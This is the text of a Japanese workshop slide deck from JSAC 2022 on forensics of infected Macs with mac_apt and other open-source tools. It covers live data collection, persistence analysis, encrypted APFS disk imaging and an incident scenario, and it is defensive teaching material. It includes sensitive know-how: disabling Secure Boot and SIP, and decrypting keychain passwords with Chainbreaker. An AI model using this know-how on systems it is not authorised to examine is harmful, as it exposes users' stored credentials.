Workshop:
An Introduction to macOS Forensics
with Open Source Software
Japan Security Analyst Conference 2022

株式会社インターネットイニシアティブ
小林 稔

Who am I?

小林 稔
•
•

•

株式会社インターネットイニシアティブ セキュリティ本部 セキュリティ情報統括室
技術調査、社内インシデントレスポンス
外部活動
セキュリティキャンプ全国大会講師 2017-2019
Japan Security Analyst Conference Speaker 2018/2020
Black Hat USA 2018 Briefing Speaker
Twitter: @unkn0wnbit

2

0

はじめに

3

本ワークショップの目的 (1/2)◦ 本ワークショップでやること▪ macOSフォレンジックの基礎知識の共有▸macOSフォレンジックの流れ▸macOSフォレンジックアーティファクト
▪ mac_aptを使ったフォレンジック解析のノウハウの共有▸調査の観点▸調査対象の解析結果▸調査方法（フィルタリング条件など）▪ 解説した内容をすぐに実施できるよう、可能な限りオープンソースのツールを使った方法を解説する
4

本ワークショップの目的 (2/2)◦ 本ワークショップでやらないこと▪ 基本的な用語の説明▪ mac_apt自身の詳細な使い方▪ アーティファクトの詳細な説明▪ ディスクイメージの配布▪ メモリフォレンジック▪ macOSマルウェアの詳細な解析▪ M1 Mac固有の設定や操作
5

mac_aptを使う理由◦ 開発が継続している◦ 40以上のプラグインで様々なアーティファクトを解析できる◦ 商用製品で取得したディスクイメージもサポートしている◦ プラグインを作成することで、新たなアーティファクトに容易に対応できる◦ ディスクイメージとプラグインを指定するだけで解析できる◦ しかし、解析結果を読み解くためのノウハウは提供されていない◦ 実用に足るだけの機能が実装されているのに、非常にもったいない◦ OSSを使うことで、参加者の解析環境にすぐに導入できる
6

ワークショップでma2tlを使わない理由◦ ma2tlで生成されるタイムラインは完ぺきではない▪ フォレンジックを行う際の「たたき台」となるタイムラインを生成する▪ タイムラインを生成する範囲は解析者が決める▪ mac_aptが解析しないアーティファクトや解析者がより詳細に調査したい場
合、ma2tlでは対応できない◦ macOSのアーティファクトはOSやアプリケーションのバージョンアップによって変わることが多々ある（ファイル名の変更など）▪ mac_aptが情報を取れなくなることも多々ある▪ そのような事に気づいたり検証したりするためには、解析ツールがどのような情報を出力するのかに加え、各アーティファクトが、どのような場所にどのような形式で保存されているのか、という知識が必要となる

7

Table of Contents (1/3)

1. macOSフォレンジックの基本的な流れ
2. macOSフォレンジックで重要なファイルフォーマット
3. アーティファクト解析ツール
4. ハンズオンのシナリオとゴール
5. Exercise 1
6. Exercise 2
7. Exercise 38

Table of Contents (2/3)

7. Exercise 4
8. Exercise 5
9. Exercise 6
10.ハンズオン環境構築周りの話
11.まとめ9

Table of Contents (3/3)

13. Appendix 1: macOSフォレンジックアーティファクト
14. Appendix 2: TSKによるディスクイメージ解析例
15. Appendix 3: macOSバージョンごとのパーテ
ィション構造16. Appendix 4: macOSセキュリティフレームワ
ーク

10

1

macOSフォレンジックの基本的な流れ

11

macOSフォレンジックの基本的な流れ◦ Windowsなど他のOSと同様の優先度で情報の取得や解析を行う◦ 基本的なコンピュータフォレンジックの手順
1.
2.
3.
4.
5.

揮発性の高い情報の取得と解析
アーティファクトファイル取得
ディスクイメージ取得
アーティファクトファイル解析
ディスクイメージ解析

12

1.1

揮発性の高い情報の取得と解析

13揮発性の高い情報の取得と解析 (1/13)◦ メモリイメージ取得▪ macOS 10.15.7以下であれば、OSXPmemでメモリイメージを取得できる▸https://github.com/Velocidex/c-aff4/releases/tag/1.0.rc2▸https://github.com/Velocidex/c-aff4/releases/tag/3.2▪ macOS 11以降でメモリイメージを取得できるツールが非常に限られる▸OSXPmemは非対応▸Surge Collect ProはmacOS 11以降に対応している● https://www.volexity.com/products-overview/surge/● 2021年11月時点で、他に対応しているツールはない▪ macOS 11以降はドライバのインストール時に再起動が必須▸再起動なしにメモリイメージを取得するには事前にインストールが必要
14揮発性の高い情報の取得と解析 (2/13)◦ ドライバインストール時に再起動を促すダイアログ15揮発性の高い情報の取得と解析 (3/13)◦ メモリイメージ解析▪ メモリイメージ解析ツールの選択肢は少ない▪ Volatility一択の状況▪ macOS向けプラグインは少ない▪ そもそも、メモリフォレンジックとして有効なメモリイメージを取得できるケースが少ないと思われる（再起動が必要なため）◦ 今回のワークショップではメモリイメージは扱わない◦ 代わりに、プロセスツリーなどの情報を個別に取得する方法を紹介する

16

揮発性の高い情報の取得と解析 (4/13)◦ プロセス情報の取得 (1)▪ ps▸他のUNIX系OSと同様▸macOSのpsコマンドで取得できる情報では、解析者が期待するプロセスツリーを取得することができない▸ほとんどのプロセスの親プロセスIDが launchd (PID: 1) になっ
てしまう

17

揮発性の高い情報の取得と解析 (5/13)% ps -axo user,pid,ppid,start,time,command
USER
PID PPID STARTEDTIME COMMAND
root
1
0 Thu09AM 22:22.02 /sbin/launchdroot
63
1 Thu09AM
0:15.08 /usr/sbin/syslogd
root
64
1 Thu09AM
1:24.58 /usr/libexec/UserEventAgent (System)root
67
1 Thu09AM
0:09.08 /System/Library/PrivateFrameworks/Uninstall.framework/Resources/uninstalld(snip)
macforensics
27752
1 5:15PM
0:14.37 /Applications/GitHub Desktop.app/Contents/MacOS/GitHub Desktop
macforensics
27756 27752 5:15PM
0:03.20 /Applications/GitHub Desktop.app/Contents/Frameworks/GitHub Desktop Helper(GPU).app/Contents/MacOS/GitHub Desktop Helper (GPU) --type=gpu-process --field-trial-handle=171837
macforensics
27758 27752 5:15PM
0:02.60 /Applications/GitHub Desktop.app/Contents/Frameworks/GitHub Desktop Helper.app/Contents/MacOS/GitHub
Desktop Helper --type=utility --utility-sub-type=network.mojom.NetworkSer
macforensics
27759 27752 5:15PM
0:21.10 /Applications/GitHub Desktop.app/Contents/Frameworks/GitHub Desktop Helper(Renderer).app/Contents/MacOS/GitHub Desktop Helper (Renderer) --type=renderer --field-trial-handle(snip)
macforensics
66491
1 Mon08AM 20:17.50 /Applications/Firefox.app/Contents/MacOS/firefox -foregroundmacforensics
66492 66491 Mon08AM
0:06.37 /Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container -childID 1-isForBrowser -prefsLen 1 -prefMapSize 250879 -jsInitLen 278884 -sbSt
macforensics
66493 66491 Mon08AM
0:01.68 /Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container -childID 2-isForBrowser -prefsLen 5070 -prefMapSize 250879 -jsInitLen 278884 -s

Finderから実行したアプリケーションの親プロセスIDは1になってしまう

Dockから実行したアプリケーションの親プロセスIDも1になってしまう18揮発性の高い情報の取得と解析 (6/13)◦ プロセス情報の取得 (2)▪ launchdが持っているプロセス情報を参照することで、本当の親プロセスを知ることができる▪ TrueTree▸https://themittenmac.com/the-truetree-concept/▸launchdの情報に基づいたプロセスツリーを生成する▸最新バージョン 0.2● 正常に動作するのはmacOS 11.2.3まで▸macOS 10.15及び11.3以降はバージョン 0.1を使用する● macOS 11では完全なプロセスツリーは取得できない

19揮発性の高い情報の取得と解析 (7/13)◦ launchdが持っている情報を確認% sudo launchctl procinfo 608
Password:
program path = /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
Could not print Mach info for pid 608: 0x5
argument count = 2
argument vector = {[0] = /Applications/Google Chrome.app/Contents/MacOS/Google Chrome[1] = -psn_0_208947}
environment vector = {USER => macforensics
MallocNanoZone => 0
COMMAND_MODE => unix2003
PATH => /usr/bin:/bin:/usr/sbin:/sbin
LOGNAME => macforensics
SSH_AUTH_SOCK => /private/tmp/com.apple.launchd.868a4OknWL/Listeners
HOME => /Users/macforensics
SHELL => /bin/zsh
TMPDIR => /var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/(snip)
com.apple.xpc.launchd.oneshot.0x10000004.Google Chrome = {active count = 7
copy count = 0
one shot = 1
path = (submitted by Spotlight.395)
state = running

Spotlightから起動した
20

揮発性の高い情報の取得と解析 (8/13)◦ TrueTreeで前ページと同じ情報を確認% sudo ./TrueTree --timestamp --sources

Chromeの親プロセスがSpotlightになっている

21

揮発性の高い情報の取得と解析 (9/13)◦ 多くの自動実行プログラムは、右記のフォルダ以下に存在する◦ macOS 10.15以降、システムボ
リュームとデータボリュームが分割された▪ システムボリュームはread-onlyでマウ▪

ントされており、改ざんされる危険性は低いmacOS 11以降はシステムボリュームに署名もされる

ma2tlのソースコードより抜粋

macOS 10.15以降、
リードオンリーでマウントされるため、改ざんされる
危険性は低い（Appendix 3参照）

システムボリューム◦ 調査の観点▪ プログラムが通常とは異なるファイルパスから実行されていないか▪ プログラム開始日時がインシデント発
生日時が近くないか

データボリューム
22

揮発性の高い情報の取得と解析 (10/13)◦ ネットワーク接続情報の取得▪ netstat▸他のUNIX系OSと同様▪ Netiquette▸https://objective-see.com/products/netiquette.html▸通信を行っているプロセス情報（プロセスのEntitlementや署名など）▸通信を行っているネットワークインターフェース名▸IPアドレスとホスト名を1回で取得できる

23

揮発性の高い情報の取得と解析 (11/13)◦ Netiquetteの実行例% /Applications/objective-see/Netiquette.app/Contents/MacOS/Netiquette -list -names -pretty -skipApple(snip){"process" : {通信を行っているプロセス"pid" : "66491","path" : "¥/Applications¥/Firefox.app¥/Contents¥/MacOS¥/firefox",(snip)"connections" : [{"remoteHostName" : "239.237.117.34.bc.googleusercontent.com","protocol" : "TCP","interface" : "en10",
接続状態"localAddress" : "192.168.11.2","state" : "Established","remotePort" : "443","localPort" : "64138","remoteAddress" : "34.117.237.239"},(snip)

24

揮発性の高い情報の取得と解析 (12/13)◦ Unified Logsの取得▪ macOS 10.12から採用された新しいロギングシステム▪ 従来のテキストベースのログと異なり、バイナリベースのログ▪ ほとんどのログはディスク上に記録されるが、一部のログはメモリ上のみに記録される▸https://www.crowdstrike.com/blog/how-to-leverageapple-unified-log-for-incident-response/▪ 当然ながら、再起動すると消えてしまうので、揮発性の高い情報として扱うのがベター▸ただし、情報を取得しても解析ツールがないので、基本的に目視で確認する必要がある

25

揮発性の高い情報の取得と解析 (13/13)◦ メモリ上にのみ記録されるログの例▪ 以下はプロセスの開始と終了に関するログ▪ システム内のプロセスが大量に記録される▪ 保存期間は非常に短い（5分～10分程度）▸tore% log show --info --debug --predicate 'eventMessage BEGINSWITH "UID:" OR eventMessage BEGINSWITH "PID:"' --start '2021-12-21 16:40:00' --end '2021-12-21
16:45:00'
Filtering the log data using "composedMessage BEGINSWITH "UID:" OR composedMessage BEGINSWITH "PID:""
Timestamp
ThreadType
Activity
PID
TTL
2021-12-21 16:43:28.173150+0900 0x31cc62
Info
0x0
102
0
opendirectoryd: [com.apple.opendirectoryd:session] PID: 45080,
Client: 'mdworker_shared', exited with 0 session(s), 0 node(s) and 0 active request(s)(snip)
2021-12-21 16:44:37.723764+0900 0x31cf14
Info
0x1527c01020
opendirectoryd: [com.apple.opendirectoryd:session] UID: 501,
EUID: 501, GID: 20, EGID: 20, PID: 45140, PROC: GitHub Desktop RPC: getpwuid, Module: SystemCache, rpc_version: 2, uid: 501(snip)
2021-12-21 16:44:42.757718+0900 0x31cf12
Info
0x0
102
0
opendirectoryd: [com.apple.opendirectoryd:session] PID: 45140,
Client: 'GitHub Desktop', exited with 0 session(s), 0 node(s) and 0 active request(s)(snip)

GitHub Desktop起動

GitHub Desktop終了

26

1.2

アーティファクトファイル取得27

アーティファクトファイル取得 (1/2)◦ ライブシステムでアーティファクトとなるファイルを取得する▪ macOSのアーティファクトは様々な場所に点在しており、OSのバージョンアップにともな▪

って、ファイル名やファイルパスが変更されることが度々あるため、ツールを使用することが望ましい
アーティファクトファイルの収集漏れを防ぐため、使用するツールは継続的にメンテナン
スされていることが望ましい◦ macOS Artifact Collector (macosac)▪ https://github.com/mnrkbys/macosac▪ https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_7_kobayashi_jp.pdf▪ SIPで保護されているファイルは、ライブシステムで取得できないため、ディスクイメージ
解析時にエクスポートするか、ディスクイメージを直接解析するツールを使う▪ NTFSと異なり、HFS+, APFSともにファイルシステムのメタデータはファイルとしてアクセ
スできない▪ SIP = System Integrity Protection▸macOSのセキュリティフレームワークの1つ（Appendix 4参照）
28

アーティファクトファイル取得 (2/2)◦ パーシステンスの設定と起動されるプログラムの情報を取得する◦ KnockKnock▪ https://objective-see.com/products/knockknock.html▪ WindowsのAutorunsに相当するツール▸https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns▪ 起動されるプログラムの署名検証、VirusTotalでの検知状況などを参照することができる▪ 疑わしいパーシステンスのエントリーを素早く絞り込むことができるため、あると便利▪ 近年のmacOSでインターネットからダウンロードしたプログラムの実行にはコード署名が必須であるため、署名検証にエラーがあるプログラムは疑わしいと判断できる▪ mac_aptが解析しないQuicklookプラグイン等も解析できる

29

アーティファクトファイル取得 (3/4)% /Applications/KnockKnock.app/Contents/MacOS/KnockKnock -whosthere -pretty > ~/Desktop/kkResults_sample.txt

30

アーティファクトファイル取得 (4/4)% jq '.’ kkResults_sample.txt(snip)"Login Items": [{"path": "/Applications/LuLu.app/Contents/MacOS/LuLu","hashes": {"md5": "E140C97A5D60B342D466BBE813971A06","sha1": "8D489231A242131974A307ABD5188A3614D265A7"},"VT detection": "0/70","name": "LuLu","plist": "n/a","signature(s)": {"signatureIdentifier": "com.objective-see.lulu.app","signatureStatus": 0,"signatureSigner": 3,"signatureEntitlements": {"com.apple.developer.team-identifier": "VBG97UB4TA","com.apple.application-identifier": "VBG97UB4TA.com.objective-see.lulu.app","com.apple.developer.networking.networkextension": ["content-filter-provider-systemextension"],"com.apple.security.application-groups": ["VBG97UB4TA.com.objective-see.lulu"],"com.apple.developer.system-extension.install": true},
"signatureAuthorities": ["Developer ID Application: Objective-See, LLC (VBG97UB4TA)","Developer ID Certification Authority","Apple Root CA"]}},(snip)

VirusTotalの検知状況

署名検証結果0 = 成功31

1.3

ディスクイメージ取得

32

ディスクイメージ取得 (1/10)◦ ディスクイメージ取得の目的▪ 追加で必要になったファイルの抽出▸マルウェアの検体など▪ ライブシステムでは取得できない（SIPで保護されている）アーティファクトの取得▸Quick Lookキャッシュファイル
▸システムキーチェーン暗号化マスターキー▪ 未割り当て領域の解析
33

ディスクイメージ取得 (2/10)◦ 暗号化APFSのディスクイメージを復号する必要性▪ APFSはファイルシステムレベルで暗号化をサポートしているため、ddのようなツールでコピーを行っても暗号化されたまま▪ T2チップ/M1プロセッサが搭載されたMacでは、それらの中に保存されている暗号化キーも復号に必要となるため、他のコンピュータ上では暗号化APFSのディスクイメージを復号することができない◦ 該当のMac端末を外部メディアで起動して、ディス
クイメージ取得時に復号できるツールが必要

34

ディスクイメージ取得 (3/10)◦ ディスクイメージ取得の準備▪ リカバリモードで起動セキュリティユーティリティの設定が必要▪ 安全な起動 (Secure Boot)▸セキュリティなし (No Security) を選択する▪ 外部起動 (Allowed Boot Media)▸外部メディアからの起動を許可 (Allow booting fromexternal or removable media) を選択する

35

ディスクイメージ取得 (4/10)◦ Cellebrite Digital Collector▪ 商用製品（旧MacQuisition）▪ ドングルから起動して暗号化APFSの復号されたディスクイメージを取得できる▸Intel Mac▸M1 Mac（Version 3.3で対応）▪ 復号されたAPFSディスクイメージの暗号化フラグは立ったまま▸https://twitter.com/unkn0wnbit/status/1254971428606107648▪ 結果として、異常なAPFSディスクイメージとなるため、対応していないツールでは解析できない▪ 復号されたディスクイメージに指定できるフォーマットはAFF4のみ
36

ディスクイメージ取得 (5/10)◦ AFF4 (The Advanced Forensics File Format 4)▪ フォレンジック用に策定されたフォーマットだが、商用製品を除いてサポートしているツールがほとんどなく、ファイルフォーマットとしてはマイナー▪ TSKにAFF4をサポートするためのPullRequestが出ているが、マージされていない▸https://github.com/sleuthkit/sleuthkit/pull/1272▪ AFF4のGitHubリポジトリにはライブラリと簡単な実装のみが公開されている▸https://github.com/aff4/pyaff4▸https://github.com/aff4/aff4-cpp-lite▪ AFF4 CPP Light v2.0を使って、Digital Collectorで作成した

AFF4ディスクイメージからRAWディスクイメージを抽出できることは確認済み37

ディスクイメージ取得 (6/10)◦ AFF4 CPP Light v2.0
▪ macOSでコンパイルするための修正点
aff4-cpp-lite/blob/master/src/AFF4Containers.cc : 129行目
int fileHandle = ::open(filename.c_str(), O_RDONLY | O_LARGEFILE);↓
int fileHandle = ::open(filename.c_str(), O_RDONLY);
aff4-cpp-lite/blob/master/src/AFF4Containers.cc : 137行目
int read = ::pread64(fileHandle, buffer.get(), AFF4_RESOURCE_BUFFER_SIZE, 0);↓
int read = ::pread(fileHandle, buffer.get(), AFF4_RESOURCE_BUFFER_SIZE, 0);▪ コンパイル▸必要なコマンドやライブラリはbrewでインストール% git clone https://github.com/aff4/aff4-cpp-lite.git% cd aff4-cpp-lite% ./autogen.sh% ./configure CC=clang CXX=clang++ CXXFLAGS="-std=c++11 -stdlib=libc++ -O2 -g0 -I/usr/local/opt/openssl@1.1/include" LDFLAGS="stdlib=libc++ -L/usr/local/lib -L/usr/local/opt/openssl@1.1/lib" SSL_CFLAGS="-I/usr/local/opt/openssl@1.1/include" SSL_LIBS="L/usr/local/opt/openssl@1.1/lib" LIBS="-lcrypto" --prefix=/usr/local/aff4-cpp-lite% make38

ディスクイメージ取得 (7/10)◦ macOS_FE (1)▪ macOS版WinFEとも言うべき方法▸https://github.com/ydkhatri/Presentations/blob/master/macO
S%20Forensics-MUS2020.pdf▸上記はmacOS 10.15で解説されているが、macOS 11.6でも同じ方法でディスクイメージを取得できることを確認済み▪ USBメモリやポータブルSSDにmacOSをインストールし、そのストレージからMacを起動して、ディスクイメージの取得を行う▸事前にリカバリモードでcsrutilを使ってSIPの無効化が必要▸速度的な問題からSSDを推奨▪ ドライバの互換性等の問題が発生せず、標準のツールやコマン
ドを使用することができる▸サードパーティのツール類もインストール可能39

ディスクイメージ取得 (8/10)◦ macOS_FE (2)▪ NoMountDaemon▸https://github.com/ydkhatri/macOS_FE/tree/master/

NoMountDaemon▸外部ストレージから起動した際に、macOSが内蔵ドライブを自動マウントするのを防止する▸macOS 11.6でも動作することを確認済み▸Disk Arbitration Frameworkを利用しているため、macOSがこのフレームワークをサポートする限り機能すると思われる
40

ディスクイメージ取得 (9/10)◦ macOS_FE (3)▪ asrコマンドでディスクイメージを取得する▸使い方はddに似ている▸暗号化APFSボリュームを復号してコピーすることができる● ディスクイメージ取得前にアンロックが必要▸Digital Collectorと異なり、暗号化フラグも外れる▸ただし、未割り当て領域およびローカルスナップショットはコピーされない% sudo launchctl unload /System/Library/LaunchDaemons/com.apple.revisiond.plist% hdiutil create –fs apfs –size 500GB evidence.dmg →ディスクイメージを保存するドライブを接続後に実行% sudo hdiutil attach –nomount evidence.dmg% diskutil apfs unlockVolume disk1s1 –nomount →暗号化APFSボリュームをアンロック% sudo asr restore --source /dev/disk1 --target /dev/disk5 --debug --erase --verbose41ディスクイメージ取得 (10/10)◦ macOS_FE (4)▪ asrコマンドで取得したディスクイメージは無圧縮であるため、ディスクイメージの保存先のストレージはオリジナルと同容量以上のものを用意する必要がある% sudo hexdump -C /dev/disk5 | fgrep Hopper
36045a20 00 00 01 00 18 00 04 02 11 00 48 6f 70 70 65 72
37a0f350 11 48 6f 70 70 65 72 20 53 63 72 69 70 74 2e 74
37a14790 36 48 6f 70 70 65 72 53 63 72 69 70 74 2e 74 74
37a31710 ff ff ff 9f 23 50 f4 f7 48 6f 70 70 65 72 20 53
37a855d0 02 22 00 48 6f 70 70 65 72 53 63 72 69 70 74 2e
37a856c0 00 00 01 00 20 00 04 02 1e 00 48 6f 70 70 65 72
37a857b0 00 01 00 28 00 04 02 23 00 48 6f 70 70 65 72 20
37a858b0 48 6f 70 70 65 72 20 53 63 72 69 70 74 2e 74 74^C% sudo hexdump -C /dev/disk1 | fgrep Hopper^C|..........Hopper||.Hopper Script.t||6HopperScript.tt||....#P..Hopper S||.".HopperScript.||.... .....Hopper||...(...#.Hopper ||Hopper Script.tt|

コピー先のディスクには平文が見える
コピー元を同じ文字列で検索しても見つからない
42

1.4

アーティファクトファイル解析43

アーティファクトファイル解析◦ 解析ツールの結果を確認▪ マルウェア感染調査の場合、最初にプロセスツリーや
パーシステンスの設定やプログラムの実行履歴等を確認する◦ 解析ツールの例は後述する◦ アーティファクトの解説はAppendix 1を参照

44

1.5

ディスクイメージ解析

45

ディスクイメージ解析 (1/2)◦ Digital Collectorで取得した復号済みAPFSのディスクイメージ解析における問題点▪ AFF4に対応したツールが非常に少ない▪ 暗号化フラグを無視して、復号済みAPFSを解析する必要がある▪ このようなディスクイメージをAPFSボリュームとしてマウントできるツールはないため、ディスクイメージをマウントすることを前提とした解析ツールは対応できない◦ macOS_FEで取得した復号されたAPFSディス
クイメージには、このような問題はない

46

ディスクイメージ解析 (2/2)◦ Digital Collectorで取得したディスクイメージに対応しているツール◦ 商用製品▪ Cellebrite Inspector▪ Magnet Forensics AXIOM◦ オープンソースソフトウェア▪ mac_apt▸APFSスナップショットは解析できない▪ The Sleuth Kit (TSK)▸暗号化フラグを無視して解析できる▸AFF4を直接解析できないので、RAWやE01に変換が必要▸TSKによるアクセス例はAppendix 2を参照

47

mac_aptによるディスクイメージ解析例◦ 解析対象のディスクイメージと使用するプラ
解析対象のグインを指定する
ディスクイメージファイル名% python ./mac_apt.py -o ../mac_apt_out/test_image/ -d DMG data.dmg ALL
Output path was : /Users/macforensics/Documents/GitHub/forked/mac_apt_out/test_image
MAIN-INFO-Started macOS Artifact Parsing Tool, version 1.4.6.dev (20211024)
MAIN-INFO-Dates and times are in UTC unless the specific artifact beingparsed saves it as local time!
解析に使用するプラグイン名
MAIN-INFO-Python version = 3.9.9 (main, Nov 21 2021, 03:23:42)
ALL : 全てのプラグイン[Clang 13.0.0 (clang-1300.0.29.3)]
FAST : Unified Logs, Spotlightを除く全てのプラグイン
MAIN-INFO-Pytsk version = 20170801
MAIN-INFO-Pyewf version = 20140807
MAIN-INFO-Pyvmdk version = 20181227
MAIN-INFO-PyAFF4 version = 0.31
MAIN-INFO-Opened image /Volumes/macOS-FE/Users/macosfe/Documents/test_image/data.dmg
MAIN-INFO-Looking at FS with volume label 'disk image' @ offset 209735680
MAIN-INFO-Found an APFS container with uuid: 2FC5F464-F43A-4672-935D-1EBDE0F725FE
MAIN-INFO-Reading APFS volumes from container, this may take a few minutes ...
(snip)

48

2

macOSフォレンジックで重要なファイルフォーマット

49

macOSフォレンジックで重要なファイルフォーマット (1/5)◦ macOSのほとんどのアーティファクトファイルは
以下の2つのフォーマットのどちらかになる▪ Property List (plist)▪ SQLite◦ どちらも標準的なファイルフォーマットであるため、データの参照自体は簡単

50

macOSフォレンジックで重要なファイルフォーマット (2/5)◦ Property List (plist)▪ NeXTSTEP時代から存在する▪ Mac OS X 10.0 : XMLフォーマット
▪ Mac OS X 10.2 : バイナリフォーマットが導入される▸Mac OS X 10.4以降はバイナリフォーマットがデフォルト▪ アプリケーション等の設定値や開いたファイル履歴、Bookmark構造体（WindowsのLNKに相当する）のよ
うなデータの保存に使われる場合が多い▪ Windowsのレジストリに相当するファイルだが、アプリケー
ションや目的ごとにファイルが作成されるため、ファイルシス
テム内の様々な場所に点在している
51

macOSフォレンジックで重要なファイルフォーマット (3/5)◦ Property Listファイルの例（Dockの設定）% plutil -p ~/Library/Preferences/com.apple.dock.plist{"last-analytics-stamp" => [0 => 661309697.920567]"last-messagetrace-stamp" => 652487714.566655"loc" => "ja_JP:JP""mod-count" => 2354
"persistent-apps" => [0 => {"GUID" => 2837758940"tile-data" => {"book" => {length = 592, bytes = 0x626f6f6b 50020000 00000410 30000000 ... 04000000 00000000 }"bundle-identifier" => "com.apple.siri.launcher""dock-extra" => 0
"file-data" => {"_CFURLString" => "file:///System/Applications/Siri.app/""_CFURLStringType" => 15}"file-label" => "Siri""file-mod-date" => 3670014440"file-type" => 169"parent-mod-date" => 3673467070}"tile-type" => "file-tile"}
1 => {"GUID" => 3389811420"tile-data" => {"book" => {length = 556, bytes = 0x626f6f6b 2c020000 00000410 30000000 ... 04000000 00000000 }"bundle-identifier" => "com.apple.Safari"52

macOSフォレンジックで重要なファイルフォーマット (4/5)◦ SQLite▪ plistと同じくアプリケーションの設定値や履歴等を保存する目的で使われている▪ 他にも、統計データやURLや送受信データのblob、
バイナリフォーマットのplistなどを保存する場合に使われる

53

macOSフォレンジックで重要なファイルフォーマット (5/5)◦ SQLiteファイルの例（CFURL Cache）▪ NSURLRequest APIでHTTPまたはHTTPSでアクセスする
際のキャッシュを管理する▸アプリケーション毎にキャッシュが管理される

アプリケーションバンドルID▪ ~/Library/Caches/com.apple.osascript/cache.db

54

3

アーティファクト解析ツール

55

アーティファクト解析ツール (1/3)◦ macOSフォレンジックで使用される代表的なアーティファクト解析ツールをいくつか紹介する◦ 解析に使用するツールは継続的にメンテナンスされているものを選択するのが重要

56

アーティファクト解析ツール (2/3)◦ 総合解析ツール例▪ mac_apt▸https://github.com/ydkhatri/mac_apt▸40以上のプラグイン▸個別のアーティファクトファイルのほか、商用製品で取得したディスクイメージも解析できる▸ディスクイメージをマウントせずに解析できる▸メンテナンスがアクティブ▪ AutoMacTC▸https://github.com/CrowdStrike/automactc▸26のプラグイン▸メンテナンスは停滞気味▪ APOLLO▸https://github.com/mac4n6/apollo▸主に統計情報を記録しているDBを解析する▸メンテナンスは停滞気味
57

アーティファクト解析ツール (3/3)◦ 個別解析ツール例▪ DSStoreParser▸https://github.com/mnrkbys/DSStoreParser/tree/fix_bug_non-ascii▸Windowsの$I30に相当する「.DS_Store」ファイルを解析する▸フォルダ内のファイル名が記録されている▸ゴミ箱の.DS_Storeにはファイルが削除される前のフォルダパスも記録されている▪ Chainbreaker2▸https://github.com/n0fate/chainbreaker▸Wi-Fiアクセスポイントやアプリケーションのパスワード、Webサイトのアカウントやパスワードを解析する▸ファイルシステムとは別にファイルレベルで暗号化が行われており、復号にはマスターキーが必要▸マスターキーが保存されているファイルはSIPで保護されている
58

4

ハンズオンのシナリオとゴール

59

配布データの確認◦ 配布データに含まれるファイル▪ mac_aptフォルダ▸mac_apt.db : mac_aptの解析結果▸UnifiedLogs.db : パースされたUnified Logs
▸APFS_Volumes_<GUID>.db : パースされたAPFSメタデータ▪ jsonフォルダ▸マルウェアの動的解析で使用するツールの出力結果▪ scriptsフォルダ▸解析で使用する簡単なスクリプト▪ exported_filesフォルダ▸ディスクイメージからエクスポートした疑わしいファイル60

ハンズオンのシナリオとゴール (1/2)◦ シナリオ▪ ある企業のMac端末がマルウェアに感染した▸ユーザー名 : macforensics▪ セキュリティオペレーターの迅速な検知と対応により、該当コンピュータのディスクイメージは取得済み▪ KnockKnockによる解析は実施済み▪ mac_aptによるディスクイメージ解析も完了している

61

ハンズオンのシナリオとゴール (2/2)◦ ゴール▪ mac_aptの解析結果から、フォレンジックタイムラインを作成し、マルウェアの動作と感染の原因を推定する◦ ハンズオンを進めるうえでの注意点▪ 調査の過程で判明したアクティビティとタイムスタンプ
は必ずメモを取る▪ タイムラインメモの例
2021-12-24 23:00:13 https://malware.example/download/FakeApp.dmg をダウンロード
2021-12-24 23:15:30 /Volumes/Suspicious Volume/Suspicious App を実行

62

調査方針

◦ マルウェアは自動実行の設定を行うことが多いため、調査の足掛かりとしてパーシステンスを解析する◦ パーシステンスのタイムスタンプを基にして、マルウェ
ア感染前後のアクティビティを調査する◦ 検体が発見された場合、パーシステンスとの関係性を解析する▪ 疑わしい検体が複数ある場合、お互いの関係性も解析する◦ マルウェアに感染した原因を調査する

63

解析に使用するツール (1/6)◦ DB Browser for SQLite▪ https://sqlitebrowser.org/▪ mac_aptの解析結果はデフォルトでSQLite DBに保存される
▪ Unified LogsとAPFSもSQLiteでエクスポートされる▪ フィルタリングを簡単に行うことができる▪ SQLクエリもかけられる

64

解析に使用するツール (2/6)

読み込んだDBのデータを参照するタブテーブル選択カラム名とフィルタリング設定

65

解析に使用するツール (3/6)
SQLクエリを実行するタブ
SQLクエリの実行ボタン
SQLクエリ入力エリア

SQLクエリの結果

66

解析に使用するツール (4/6)◦ jq▪ https://stedolan.github.io/jq/▪ JSONデータの整形やフィルタリングをかけることができる▪ KnockKnockやProcessMonitor, FileMonitorはJSONフォーマットで結果を出力する

67

解析に使用するツール (5/6)◦ jqの使い方 (1)▪ サンプルデータ{"event" : "ES_EVENT_TYPE_NOTIFY_FORK","process" : {"uid" : 501, "arguments" : [], "ppid" : 507, "ancestors" : [339,1], "rpid" : 0, "architecture" :"Intel", "path" : "/bin/zsh", "name" : "zsh", "pid" : 735},"timestamp" : "2021-08-11 06:05:25 +0000"}{"event" : "ES_EVENT_TYPE_NOTIFY_EXEC","process" : {"uid" : 501, "arguments" : ["sudo","./FileMonitor","-pretty"], "ppid" : 507, "ancestors" :[339,1], "rpid" : 0, "architecture" : "Intel", "path" : "/usr/bin/sudo", "name" : "sudo", "pid" : 735},"timestamp" : "2021-08-11 06:05:25 +0000"}

68解析に使用するツール (6/6)◦ jqの使い方 (2)▪ pathに「sudo」を含むエントリーをフィルタリング% jq '. | select(.process.path | contains("sudo"))' procmon_simple.json{"event": "ES_EVENT_TYPE_NOTIFY_EXEC","process": {"uid": 501,
"arguments": ['. | select(.process.path | contains("sudo") | not)'"sudo","./FileMonitor","-pretty"],"ppid": 507,
"ancestors": [339,'. | select(.process.pid == 735)'1],"rpid": 0,"architecture": "Intel","path": "/usr/bin/sudo","name": "sudo","pid": 735},"timestamp": "2021-08-11 06:05:25 +0000"}「sudo」を含まないエントリーをフィルタリング

PID=735のエントリーをフィルタリング

69

5

Exercise 1: パーシステンスの調査

70パーシステンス調査の目的◦ マルウェアの多くはコンピュータの再起動後に自身を実行させるため、OSの自動実行の仕組みを利用する◦ 自動実行の設定は選択肢が限られている▪ マルウェアのプログラムファイルは任意のファイルパスに置ける▪ しかし、自動実行の仕組みの数は限られているため、見つけやすい◦ パーシステンスや自動実行されるプログラムのメタデータ（タイムスタンプ）を調査して、最初のタイムラ
インを作成する715.1

パーシステンスのアーティファクト

72

